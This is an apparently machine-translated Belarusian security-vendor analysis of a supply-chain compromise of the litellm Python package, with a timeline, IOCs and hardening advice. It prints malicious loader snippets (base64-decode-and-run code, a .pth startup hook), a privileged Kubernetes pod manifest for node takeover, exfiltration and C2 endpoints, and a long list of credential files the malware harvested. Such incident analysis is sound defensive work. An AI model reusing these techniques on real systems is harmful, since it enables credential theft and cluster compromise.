Атака на ланцужок паставак LiteLLM

Атака на ланцужок паставак LiteLLM: як TeamPCP узламаў інфраструктуру штучнага інтэлекту

Чаму гэта важна

24 сакавіка 2026 года папулярны пакет Python litellm, універсальны проксі-шлюз LLM, які выкарыстоўваецца тысячамі enterpriseдля маршрутызацыі трафіку паміж праграмамі і пастаўшчыкамі штучнага інтэлекту, такімі як OpenAI, Anthropic, Google і AWS Bedrock, быў ціха ўзламаны на PyPI. Дзве заражаныя версіі (1.82.7 і 1.82.8) былі апублікаваныя з інтэрвалам у 13 хвілін. Яны ўтрымлівалі шматступенчатую карысную нагрузку, якая крала ўліковыя дадзеныя, выцягвала сакрэты воблака, распаўсюджвалася па кластарах Kubernetes і ўсталёўвала пастаянны бэкдор з магчымасцямі дыстанцыйнага выканання кода.

З прыкладна 3.6 мільёна штодзённых загрузак Дзякуючы глыбокаму разгортванню ў воблачнай інфраструктуры штучнага інтэлекту, litellm знаходзіцца на скрыжаванні ўсяго, чаго жадаюць сучасныя зламыснікі: ключоў API для кожнага буйнога пастаўшчыка штучнага інтэлекту, воблачных уліковых дадзеных IAM, сакрэтаў Kubernetes і ключоў SSH.

Але кампраміс Litellm не быў адзінкавай падзеяй. Ён стаў кульмінацыяй пяцідзённая кампанія, якая ахоплівае пяць экасістэм зламыснікам, вядомым як TeamPCP, кампанія, якая спачатку атруціла сканеры бяспекі (Aqua Trivy, Checkmarx KICS), а затым выкарыстала скрадзеныя CI/CD Уліковыя дадзеныя для каскаднай перадачы ў npm, OpenVSX і, нарэшце, PyPI. Зламыснікі ўзброілі тыя самыя інструменты, на якія арганізацыі абапіраюцца для абароны сваіх ланцужкоў паставак.

Гэтая атака ўяўляе сабой кардынальную змену ў складанасці пагроз ланцужкоў паставак. Шматступеньчатая, міжэкасістэмная канструкцыя, якая кампраметуе інструменты бяспекі для дасягнення высокай каштоўнасці Інфраструктура штучнага інтэлекту, адлюстроўвае ўзровень планавання і аперацыйнай сталасці, які адпавядае ўсё больш камадытызаваным інструментам атак. Карысныя нагрузкі ітэраваліся ў рэжыме рэальнага часу (у зыходным кодзе прысутнічаюць тры варыянты карысных нагрузак, у тым ліку закаментаваныя папярэднія версіі), інфраструктура C2 была зарэгістравана за дзень да атакі, а дамены эксфільтрацыі былі старанна выбраны для імітацыі легітымнай інфраструктуры пастаўшчыкоў. Сістэматычна комплексны зборнік уліковых дадзеных, які ахоплівае больш за 15 катэгорый, у тым ліку нішавыя мэты, такія як ключы подпісу Cardano і канфігурацыі WireGuard, сведчыць аб ступені грунтоўнасці, якая паказвае на распрацоўку шкоднасных праграм з дапамогай штучнага інтэлекту як памнажальнік сілы.

Timeline

Дата (UTC) падзея
Сакавік 19 TeamPCP кампраметуе тэгі дзеянняў Aqua Trivy GitHub, замяняючы іх шкоднасным кодам, які вылучае CI/CD сакрэты з ніжэйшых рэпазітарыяў
Сакавік 21 Кампраміс распаўсюджваецца на дзеянні Checkmarx KICS і AST GitHub з выкарыстаннем падобных метадаў.
22 сакавіка, 06:35 BerriAI публікуе litellm 1.82.6 (апошнюю чыстую версію) праз звычайны рэжым CI/CD pipeline які выкарыстоўвае Trivy для сканавання бяспекі
Сакавік 23 TeamPCP рэгіструе models.litellm.cloud (дамен эксфільтрацыі). Кампраметуе больш за 66 npm-пакетаў і пашырэнняў OpenVSX.
24 сакавіка, 10:39 litellm 1.82.7 апублікаваны ў PyPI -- карысная нагрузка ўведзена ў proxy_server.py у вобласці дзеяння модуля. Выконваецца пры імпарце
24 сакавіка, 10:52 litellm 1.82.8 апублікаваны праз 13 хвілін -- дадае litellm_init.pth, перахопнік канфігурацыі шляху Python, які выконваецца пры кожным запуску інтэрпрэтатара Python, а не толькі пры імпарце litellm. Паказвае хуткую ітэрацыю карыснай нагрузкі.
24 сакавіка, ~16:00 PyPI выдаляе абедзве версіі пасля паведамленняў супольнасці. Версіі цалкам выдаляюцца (не выцягваюцца) з індэкса, хоць tar-архівы CDN застаюцца даступнымі.

Акно экспазіцыі: прыблізна 5.5 гадзін. За гэты час любыя pip install litellm, pip install --upgrade litellm, або CI/CD pipeline выцягванне апошняй версіі выканала б карысную нагрузку.

Як шкоднаснае праграмнае забеспячэнне пранікла ў сістэму: каскадны кампраміс

Пакет litellm не быў узламаны непасрэдна. Зламыснік дабраўся да яго праз атака на ланцужок паставак праз два крокі:

Aqua Trivy GitHub Action (compromised March 19)     --> LiteLLM CI/CD pipeline runs Trivy without pinned version         --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner             --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM CI/CD pipeline выкарыстоўваў Trivy як сканер бяспекі — той самы інструмент, прызначаны для выяўлення ўразлівасцей, сам быў вектарам атакі. Паколькі pipeline спасылаецца на Trivy праз зменлівы тэг, а не праз замацаваны commit SHA, узламанае дзеянне выконвалася аўтаматычна. Шкоднаснае дзеянне Trivy выкрадала сакрэты асяроддзя, у тым ліку PYPI_PUBLISH токен, які дае TeamPCP прамы доступ да публікацыі праекта litellm PyPI.

Гэтая стратэгія «кампраметаваць ахову» з'яўляецца адметнай рысай кампаніі TeamPCP. Нацэліўшыся спачатку на інструменты бяспекі (Trivy, Checkmarx KICS), зламыснікі адначасова адключылі выяўленне і атрымалі прывілеяваны доступ да ніжэйшых ланцужкоў паставак.

Тэхнічны аналіз: карысная нагрузка

Пункты ўпырску

версія 1.82.7 — Выкананне на ўзроўні модуля ў litellm/proxy/proxy_server.py (радок 128):

import subprocess, base64, sys, tempfile, os  b64_payload = "<~12KB base64 blob>"  with tempfile.TemporaryDirectory() as d:     p = os.path.join(d, "p.py")     with open(p, "wb") as f:         f.write(base64.b64decode(b64_payload))     subprocess.run([sys.executable, p])

Гэты код знаходзіцца ў вобласці бачнасці модуля паміж літаралам слоўніка і арыгіналам showwarning() функцыя. Яна выконваецца неадкладна, калі litellm.proxy.proxy_server імпартуецца — што адбываецца пры любым выкарыстанні функцыянальнасці проксі-сервера litellm.

версія 1.82.8 — Дадаў litellm_init.pth (Файл канфігурацыі шляху Python):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) 

Пітон .pth файлы ў site-packages/ апрацоўваюцца пры кожным запуску інтэрпрэтатара, але толькі радкі, якія пачынаюцца з import выконваюцца як код. Зламыснік выкарыстоўвае гэта, аб'ядноўваючы ўсю карысную нагрузку ў адзін import заява: import os, subprocess, sys; subprocess.Popen(...)Гэта значна больш агрэсіўны метад, чым ін'екцыя proxy_server.py — ён спрацоўвае, нават калі litellm ніколі не імпартуецца, пры кожным запуску працэсу Python. pyproject.toml быў зменены, каб уключыць гэты файл у дыстрыбутыў:

include = [     { path = "litellm_init.pth", format = ["sdist", "wheel"] } ]

Такім чынам, версія 1.82.8 мае два незалежныя шляхі выканання: ін'екцыя proxy_server.py (спрацоўвае пры імпарце проксі-сервера litellm) і файл .pth (спрацоўвае пры любым запуску Python). Надмернасць сама па сабе прыкметная — яна абараняе ад выяўлення або выдалення любога з шляхоў паасобку. Эскалацыя ад часу імпарту да выканання падчас запуску ўсяго праз 13 хвілін пасля версіі 1.82.7 сведчыць аб тым, што зламыснік сачыў за поспехам разгортвання і хутка выконваў ітэрацыі.

Этап 1: Комплексны збор паўнамоцтваў

Расшыфраваны ўнутраны сцэнар — гэта старанна прадуманы вакуум паўнамоцтваў. Ён выкарыстоўвае os.walk()glob.glob()subprocess.check_output()і непасрэднае чытанне файлаў для агляду ўсёй сістэмы:

Катэгорыі Мэты
Сістэмная разведка hostname, whoami, uname -a, ip addr, printenv, ip route
SSH ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, configключы хаста ад /etc/ssh/
Воблака (AWS) ~/.aws/credentials, ~/.aws/config; Паўнамоцтвы ролі IMDS праз 169.254.169.254Менеджэр сакрэтаў ListSecretsССМ DescribeParameters
Воблака (GCP) ~/.config/gcloud/ (рэкурсіўны); $GOOGLE_APPLICATION_CREDENTIALS
Воблака (Azure) ~/.azure/ (рэкурсіўныя); зменныя асяроддзя
Kubernetes Токены ўліковага запісу службы; ca.crtпрастора імёнаў; kubectl get secrets --all-namespacesусе сакрэты праз API K8s
Файлы асяроддзя .env, .env.local, .env.production, .env.development, .env.staging — пошук выкананы рэкурсіўна (глыбіня 6) па ўсім /home, /root, /opt, /srv, /var/www, /app, /data, /tmp
Докер ~/.docker/config.json, /kaniko/.docker/config.json
Токены пакета ~/.npmrc, ~/.vault-token, ~/.netrc
Базы дадзеных ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, канфігурацыі MongoDB
TLS / SSL Прыватныя ключы ад /etc/ssl/private/, Давайце зашыфруем сертыфікаты, усе .pem/.key/.p12/.pfx файлы
ісці ~/.git-credentials, ~/.gitconfig
CI/CD terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg
Крыптавыя кашалькі Bitcoin, сховішча ключоў Ethereum, пары ключоў Solana (валідатар, галасаванне, стэйк, кран), ключы подпісу Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Гісторыя Shell .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history
Аўтэнтыфікацыя сістэмы /etc/passwd, /etc/shadow, журналы аўтэнтыфікацыі (прынятыя SSH-сесіі)
Ключы вэбхука/API Grep для Slack Webhooks, Вэб-сайт Discordhooks, Ключы/сакрэты API ў файлах канфігурацыі
VPN Канфігурацыі WireGuard з /etc/wireguard/

Гэты зборшчык дадзеных мае шырокі спектр магчымасцей. Ён сканцэнтраваны не толькі на воблачных уліковых дадзеных, але і на крыптавалютных кашальках, паролях баз дадзеных, канфігурацыях VPN і г.д. CI/CD сакрэты — што сведчыць аб тым, што зламыснік мае намер манетызаваць заражаныя сістэмы па некалькіх вектарах.

Этап 2: Зашыфраваная эксфільтрацыя

Скрадзеныя дадзеныя шыфруюцца і выцясняюцца з дапамогай гібрыднай схемы шыфравання:

  • AES-256-CBC шыфраванне ўсіх сабраных дадзеных з дапамогай выпадковага 32-байтавага ключа сесіі (праз openssl enc)
  • RSA-4096 шыфраванне сесійнага ключа з выкарыстаннем убудаванага адкрытага ключа зламысніка (дапаўненне OAEP, праз openssl pkeyutl)
  • Абодва шыфраваныя файлы аб'яднаны ў tpcp.tar.gz ( tpcp прэфікс — «TeamPCP» — паслядоўна з'яўляецца на працягу ўсёй кампаніі)
  • HTTPS POST да https://models.litellm.cloud/ з Content-Type: application/octet-stream

Дамен models.litellm.cloud быў зарэгістраваны 23 сакавіка — за дзень да нападу — і прызначаны для зліцця з легітымнай інфраструктурай litellm (рэальны праект выкарыстоўвае litellm.aiНават абаронца, які добра ведае сетку і праглядае выходны трафік, можа не пазначаць трафік да таго, што здаецца канчатковай кропкай мадэлі litellm.

Этап 3: Пастаянны бэкдор (sysmon.py)

Карысная нагрузка ўсталёўвае бэкдор для апытання, замаскіраваны пад сістэмную тэлеметрыю:

  • Шлях~/.config/sysmon/sysmon.py
  • абслугоўваннеsysmon.service (карыстальніцкі блок systemd, які апісваецца як «Служба сістэмнай тэлеметрыі»)
  • ПаводзіныПасля першапачатковага 300-секунднага сну апытанні https://checkmarx.zone/raw кожныя ~50 хвілін
  • ExecutionЗагружае URL-адрас, вернуты C2, у /tmp/pglog, усталёўвае яго выканальным (chmod 755), запускае яго ў асобным сеансе
  • Адсочванне стану/tmp/.pg_state прадухіляе паўторную загрузку той жа карыснай нагрузкі
  • НастойлівасцьRestart=alwaysRestartSec=10 — вытрымлівае збоі і перазагрузкі

Дамен checkmarx.zone гэта памылка ў Checkmarx (ахоўнай кампаніі ў checkmarx.com), распрацаваная такім чынам, каб аналітыкі SOC, якія праглядаюць сеткавыя журналы, бачылі трафік да таго, што здаецца законным пастаўшчыком бяспекі. Гэта наўмысны метад ухілення ад кантролю, які адпавядае больш шырокай стратэгіі TeamPCP, якая хаваецца за брэндам пастаўшчыка бяспекі.

Этап 3b: Бакавы рух Kubernetes

Калі ў заражанай сістэме ёсць уліковыя дадзеныя ўліковага запісу службы Kubernetes, шкоднаснае праграмнае забеспячэнне пералічвае ўсе вузлы кластара і разгортвае прывілеяваныя пады кожнаму з іх:

pod_manifest = {     'apiVersion': 'v1', 'kind': 'Pod',     'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},     'spec': {         'nodeName': node_name,         'hostPID': True, 'hostNetwork': True,         'tolerations': [{'operator': 'Exists'}],         'containers': [{             'name': 'setup',             'image': 'alpine:latest',             'command': ['sh', '-c', drop_cmd],             'securityContext': {'privileged': True},             'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]         }],         'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],         'restartPolicy': 'Never'     } }

Кожны капсуль:

  • Працуе як прывілеяваны з hostPIDhostNetworkі поўны доступ да файлавай сістэмы хоста
  • Выкарыстоўвае chroot /host усталяваць тое ж самае sysmon.py бэкдор у каранёвай файлавай сістэме хаста
  • Рэгіструе яго як службу systemd, гарантуючы захаванне пасля выдалення pod-файла.
  • названы node-setup-* ў kube-system прастора імёнаў будзе выглядаць як легітымная кластарная інфраструктура

Гэта азначае адзін скампраметаваны CI/CD runner з доступам K8s можа прывесці да ўзлому ўсіх вузлоў кластара. — катастрафічны сцэнар бакавога перамяшчэння для арганізацый, якія выкарыстоўваюць litellm у якасці проксі-сервера ў Kubernetes.

Эвалюцыя карыснай нагрузкі (каментаваныя варыянты)

Зыходны код у радках 131-132 утрымлівае два закаментаваныя раней варыянты карыснай нагрузкі, якія раскрываюць працэс распрацоўкі зламысніка:

  • Усе тры варыянты маюць адну і тую ж інфраструктуру эксфільтрацыі (models.litellm.cloud), адкрыты ключ RSA-4096, гібрыдная абалонка шыфравання AES-256-CBC + RSA і tpcp.tar.gz найменне пакетаў
  • Ранейшыя варыянты дадаў RC4-слай шыфравання унутры скрыпта збору дадзеных, шыфруючы сабраныя дадзеныя перад знешняй абалонкай AES+RSA. Актыўная карысная нагрузка (радок 130) спрашчаецца шляхам выдалення гэтага ўнутранага пласта RC4.
  • У папярэдніх варыянтах выкарыстоўваюцца exec() з StringIO захоп для запуску калектара ў працэсе, пакуль актыўная карысная нагрузка выкарыстоўвае subprocess.run() з перанакіраваннем stdout — больш чыстае падзеленне, якое не забруджвае працэс хоста
  • Усе тры варыянты арыентаваны на адны і тыя ж катэгорыі ўліковых дадзеных і шляхі збору
  • Ключ RC4 у папярэдніх варыянтах быў правакацыйнай абразай, што адпавядала паводзінам акцёра, які імкнуўся прыцягнуць увагу ў Telegram.

Гэта сведчыць аб актыўнай распрацоўцы падчас аперацыі. Зламыснік спрасціў стэк шыфравання і палепшыў ізаляцыю выканання, захоўваючы стабільнасць мэтаў збору дадзеных і інфраструктуры выцяснення.

Паказчыкі кампрамісу (ПАК)

сетка

індыкатар тып Мэта
models.litellm.cloud дамен Канчатковая кропка эксфільтрацыі (HTTPS POST)
checkmarx.zone дамен Канчатковая кропка апытання C2 (HTTPS GET /raw)

Заўвага: Знешнія спасылкі на справаздачы checkmarx.zone/static/checkmarx-util-1.0.4.tgz да папярэдняй фазы KICS кампаніі TeamPCP. Гэты URL-адрас не быў знойдзены ў прааналізаваных тут карысных нагрузках litellm.

Хэшы пакетаў

Размовы SHA256
litellm-1.82.7.tar.gz 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea
litellm-1.82.8.tar.gz d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5

Файлавая Сістэма

індыкатар тып Мэта
~/.config/sysmon/sysmon.py Размовы Пастаянны бэкдор-скрыпт
~/.config/systemd/user/sysmon.service Размовы Блок захоўвання Systemd
/tmp/pglog Размовы Спампаваны бінарны файл другой ступені
/tmp/.pg_state Размовы Адсочванне стану C2
litellm_init.pth in site-packages/ Размовы Запускны перахопнік Python (толькі версія 1.82.8)
tpcp.tar.gz Размовы Зашыфраваны пакет экстрадыцыі

Kubernetes

індыкатар тып Мэта
node-setup-* струкі ў kube-system Струк Прывілеяваныя капсулы бакавога руху
sysmon.service на вузлах кластара абслугоўванне Захаванне на ўзроўні хоста праз выхад з падаў

Крыптаграфічны

індыкатар дэталі
Адкрыты ключ атакуючага RSA-4096 Адбітак пальца SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Убудаваны ва ўсе тры варыянты карыснай нагрузкі; той жа ключ паведамляецца ў іншых аперацыях TeamPCP.
tpcp прэфікс у артэфактах Канвенцыя наймення пакетаў (tpcp.tar.gz) паслядоўна на працягу ўсёй кампаніі

Аўтарства: TeamPCP

Адсочваецца зламыснік, які стаіць за гэтай кампаніяй TeamPCP, таксама вядомы як PCPcat, Persy_PCP, ShellForce і DeadCatx3.

Вядомыя характарыстыкі:

  • Вядзе каналы Telegram па адрасе @Persy_PCP і @teampcp дзе яны здзекаваліся з ахоўных кампаній
  • Працуе ў некалькіх экасістэмах (GitHub Actions, PyPI, npm, OpenVSX)
  • Выкарыстоўвае спецыфічныя для пастаўшчыка тыпаскватныя дамены для кожнага этапу кампаніі (напрыклад, checkmarx.zone для Чэкмаркса, models.litellm.cloud для litellm)
  • Паслядоўныя маркеры інфраструктуры: аднолькавая пара ключоў RSA, tpcp.tar.gz пагадненне аб найменні, tpcp-docs-* Рэпазіторыі GitHub, якія выкарыстоўваюцца ў якасці месцаў для размяшчэння файлаў
  • Мэтавае выкарыстанне інструментаў бяспекі як кропак уваходу ў ланцужкі паставак ніжэй па плыні

Упэўненасць у атрыбуцыі: Высокі. Агульны адкрыты ключ RSA, tpcp Найменне артэфактаў, перакрыццё інфраструктуры C2 і аперацыйны тэмп на працягу пяцідзённай кампаніі моцна звязваюць кампрамісы Trivy, KICS, npm, OpenVSX і litellm з адным і тым жа акцёрам.

МатывацыяВерагодна, фінансавыя (крадзеж крыпта-кашалькоў, манетызацыя воблачных уліковых дадзеных) у спалучэнні з вядомасцю (здзекі з Telegram). Шырыня збору ўліковых дадзеных — ад пар ключоў AWS IAM да пар ключоў валідатара Solana і канфігурацый WireGuard — сведчыць аб фінансава матываваным удзельніку, які імкнецца максымізаваць прыбытак ад кожнага кампрамісу.

Магчымая дапамога штучнага інтэлектуЗборнік уліковых дадзеных сістэматычна комплексны — больш за 15 катэгорый, у тым ліку нішавыя мэты, такія як ключы подпісу Cardano, канфігурацыі WireGuard і ўліковыя дадзеныя Kaniko Docker — такім чынам, што гэта адпавядае пералічэнню з дапамогай штучнага інтэлекту. Хуткасць ітэрацыі карыснай нагрузкі (тры варыянты з рознымі схемамі шыфравання), каардынацыя паміж экасістэмамі (5 экасістэм за 5 дзён) і аперацыйная OPSEC (дамены, якія выдаюць сябе за пастаўшчыка, гібрыднае шыфраванне, захаванасць systemd, замаскіраваная пад тэлеметрыю) сведчаць аб узроўні прапускной здольнасці, які можа адлюстроўваць распрацоўку з дапамогай штучнага інтэлекту як множнік сілы. Гэтая ацэнка з'яўляецца гіпотэтычнай; кваліфікаваныя аператары маглі б дасягнуць падобнага аб'ёму без інструментаў штучнага інтэлекту.

Новыя ТТП і метады

1. Атручэнне ланцужка паставак інструмента бяспекі (варыянт T1195.002)

Кампраметацыя сканераў бяспекі (Trivy, KICS) у якасці першага кроку для дасягнення наступных мэтаў — гэта новая эскалацыя. Зламыснік не проста кампраметаваў бібліятэку — ён кампраметаваў інструменты, якія арганізацыі выкарыстоўваюць для выявіць скампраметаваныя бібліятэкі. Гэта стварае сляпую зону: сканер, які павінен выяўляць шкоднасны код, сам з'яўляецца механізмам дастаўкі.

2. пітон .pth Захаванне файла (T1546)

,en litellm_init.pth Тэхніка ў версіі 1.82.8 асабліва падступная. Python .pth файлы ў site-packages/ апрацоўваюцца пры кожным запуску інтэрпрэтатара; любы радок, які пачынаецца з import выконваецца як код. Злучаючы карысную нагрузку з адным import аператар, зламыснік выконваецца ў кожным працэсе Python, а не толькі пры імпарце litellm. Гэта азначае, што карысная нагрузка спрацоўвае, нават калі litellm усталяваны, але ніколі не выкарыстоўваецца, і яна выжывае пасля выпраўлення, якое замяняе ўзламаны працэс. .py файлы без праверкі .pth файлы.

3. Латэральнае перамяшчэнне Kubernetes па ўсім кластары праз разгортванне прывілеяваных падаў (T1610, T1611)

Аўтаматызаванае стварэнне прывілеяваных падаў на кожным вузле кластара — з дапамогай hostPIDhostNetwork, мантаванне файлавай сістэмы хоста і chroot усталяваць persistent — злучае разгортванне кантэйнера (T1610) з escape to host (T1611), каб ператварыць адну скампраметаваную нагрузку ў поўную кампраметацыю кластара.

4. Інфраструктура кіравання і кіравання (C2), якая імітуе сябе пад пастаўшчыка

Выкарыстанне models.litellm.cloud (імітуе litellm) і checkmarx.zone (імітуе Checkmarx) у якасці канчатковых кропак C2/exfil прызначаны для таго, каб пазбегнуць маніторынгу сеткі. Аналітыкі SOC, якія праглядаюць выходны трафік, бачаць HTTPS-злучэнні з тым, што здаецца законнымі даменамі пастаўшчыкоў.

5. Хуткая ітэрацыя карыснай нагрузкі ў палёце

Публікацыя версіі 1.82.7 з выкананнем падчас імпарту, а затым версіі 1.82.8 з выкананнем падчас запуску праз 13 хвілін паказвае, што зламыснік маніторынгуе і адаптуецца ў рэжыме рэальнага часу. Закаментаваныя варыянты карыснай нагрузкі (з рознымі схемамі шыфравання), якія захаваліся ў зыходным кодзе, пацвярджаюць актыўную распрацоўку падчас аперацыі.

Што можна зрабіць

Гэтая атака выкарыстоўвае давер на кожным узроўні: давер да інструментаў бяспекі, давер да рэестраў пакетаў, давер да знаёмых даменаў, давер да CI/CD аўтаматызацыя. Абарона ад яе патрабуе ўмацавання кожнай з гэтых межаў даверу:

Для спажыўцоў пакетаў паслуг

  • Замацоўваць залежнасці па хэшу, а не толькі па версіі. pip install litellm==1.82.6 --hash=sha256:... перашкодзіла б усталёўцы ўзламаных версій, нават калі б яны ненадоўга з'яўляліся як апошнія.
  • Выкарыстоўвайце файлы блакіроўкі. pip-compilepoetry.lock, і uv.lock захопліваць дакладныя версіі і хэшы. CI/CD варта ўсталёўваць з файлаў блакіроўкі, а не з плаваючых спецыфікатараў версіі.
  • Манітор для .pth файлы. Рэгулярна праводзіць аўдыт site-packages/ для нечаканасці .pth файлы — яны выконваюцца пры кожным запуску Python і з'яўляюцца недаацэненым механізмам захавання.
  • Укараніць кантроль выходнай сеткі. Эфільтрацыя да models.litellm.cloud і апытанне C2 для checkmarx.zone маглі быць выяўленыя фільтрацыяй выхаднога сігналу на аснове белага спісу ў вытворчых асяроддзях.

Для тых, хто падтрымлівае пакеты

  • Pin CI/CD дзеянні па commit SHA, а не тэг. LiteLLM pipeline выкарыстоўваў Trivy без замацаванай версіі. Калі б у ім была спасылка aquasecurity/trivy-action@<commit-sha> замест @latest, скампраметаванае дзеянне не было б выканана.
  • Выкарыстоўвайце кароткачасовыя токены публікацыі з абмежаванай вобласцю дзеяння. PyPI падтрымлівае давераныя выдаўцы (на аснове OIDC) і токены API з абмежаванай вобласцю дзеяння. Выкрадзеныя PYPI_PUBLISH токен не павінен быў мець доўгатэрміновы, неабмежаваны доступ да публікацыі.
  • Уключыце двухфактарную аўтэнтыфікацыю на PyPI. Патрабаваць двухфактарную аўтарызацыю (2FA) для ўсіх распрацоўшчыкаў і выкарыстоўваць апаратныя ключы бяспекі, дзе гэта магчыма.
  • Падпісваць пакеты. Атэстацыі Sigstore/PEP 740 дазваляюць спажыўцам праверыць, ці быў пакет сабраны паводле чаканых правілаў. CI/CD pipeline, а не зламыснікам са скрадзеным токенам.

Для аператараў платформаў (PyPI, npm, GitHub)

  • Выяўляць анамальныя заканамернасці публікацыі. Дзве новыя версіі, апублікаваныя з інтэрвалам у 13 хвілін з іншага IP-адраса або токена, чым звычайна, павінны выклікаць чаканне праверкі або аўтаматычнае сканаванне, перш чым пакет стане прыдатным для ўсталёўкі.
  • Паскорыць укараненне праграмы «Надзейныя выдаўцы». Публікацыя на аснове OIDC прывязвае пакеты да пэўных рэпазіторыяў і працоўных працэсаў, што робіць скрадзеныя токены бескарыснымі па-за арыгіналам. CI/CD кантэкст.
  • Рэалізаваць сканаванне на наяўнасць шкоднасных праграм падчас публікацыі. Карысная нагрузка, дэкадаваная ў base64, у proxy_server.py будзе выяўляцца статычным аналізам падчас публікацыі.

Для экасістэмы

  • Ставіцеся да інструментаў бяспекі як да крытычна важнай інфраструктуры. Мільёны людзей выкарыстоўваюць сістэмы KICS Trivy і Checkmarx pipelineІх дзеянні на GitHub павінны быць падпісаны, замацаваны і кантралявацца з такой жа строгасцю, як і пакеты, якія яны скануюць.
  • Інвестуйце ў выяўленне падчас выканання. Статычны аналіз сам па сабе не можа выявіць усе метады абфускацыі. Маніторынг усталёўкі пакета падчас выканання hooks, нечаканыя сеткавыя падключэнні і падазроныя шаблоны доступу да файлаў забяспечваюць глыбока абарону.
  • Хутчэй дзяліцеся інфармацыяй аб пагрозах. 5.5-гадзінны перыяд экспазіцыі для litellm мог бы быць карацейшым з-за больш хуткай міжпастаўшчыковай каардынацыі. Аўтаматызаваныя сэрвісы сканавання, такія як Xygeni MEW, Socket і Snyk, выявілі анамалію — вузкім месцам з'яўляецца пацверджанне чалавекам і час рэагавання рэестра.

Conclusion

Кампанія TeamPCP — гэта пераломны момант для software supply chain securityСпачатку ўзламаўшы сканеры бяспекі і выкарыстоўваючы іх як трамплін да высокакаштоўнай інфраструктуры штучнага інтэлекту, зламыснікі прадэманстравалі, што ланцужок паставак моцны толькі настолькі, наколькі моцны яго найслабейшая транзітыўная залежнасць, і гэтая залежнасць можа быць інструментам бяспекі, якому вы давяраеце, каб абараніць сябе.

Кампраметацыя litellm асабліва падкрэслівае ўзрастаючую рызыку для інфраструктуры штучнага інтэлекту. Па меры таго, як проксі-шлюзы LLM становяцца... standard шаблон для enterprise Пры разгортванні штучнага інтэлекту яны канцэнтруюць доступ да ключоў API, воблачных уліковых дадзеных і канфідэнцыйных дадзеных у адным кампаненце. Кампраметацыя гэтага кампанента — гэта шкілетны ключ да ўсяго стэка штучнага інтэлекту.

Арганізацыі, якія ўсталявалі litellm 1.82.7 або 1.82.8 на працягу 5.5-гадзіннага перыяду, павінны разглядаць гэта як поўную кампраметацыю ўліковых дадзеных: ратаваць усе сакрэты на пацярпелых сістэмах, праводзіць аўдыт кластараў Kubernetes на наяўнасць... node-setup-* струкі ў kube-system, выдаліце ​​любыя sysmon.service сістэмныя адзінкі і праверце на наяўнасць litellm_init.pth у Python site-packages/ каталогі. Карыстальнікі афіцыйнага вобраза Docker (ghcr.io/berriai/litellm) не пацярпелі, бо выява замацавала свае залежнасці і не была перабудавана падчас акна экспазіцыі.

пра аўтара

Сузаснавальнік і тэхнічны дырэктар

Луіс Радрыгес з'яўляецца сузаснавальнікам і тэхнічным дырэктарам Xygeni Security. Маючы больш за 20 гадоў вопыту ў бяспецы прыкладанняў, ён спецыялізуецца на абароне AppSec і пашыраных магчымасцях аналізу кода, якія дапамагаюць камандам знізіць рэальныя рызыкі дастаўкі.

 
інструменты-для-аналізу-складання-праграмнага ...
Прыярытэзуйце, ліквідуйце і абараняйце свае праграмныя рызыкі
Атрымайце свой бясплатны рахунак.
Не патрабуецца крэдытная карта.

Забяспечце распрацоўку і пастаўку праграмнага забеспячэння

з пакетам прадуктаў Xygeni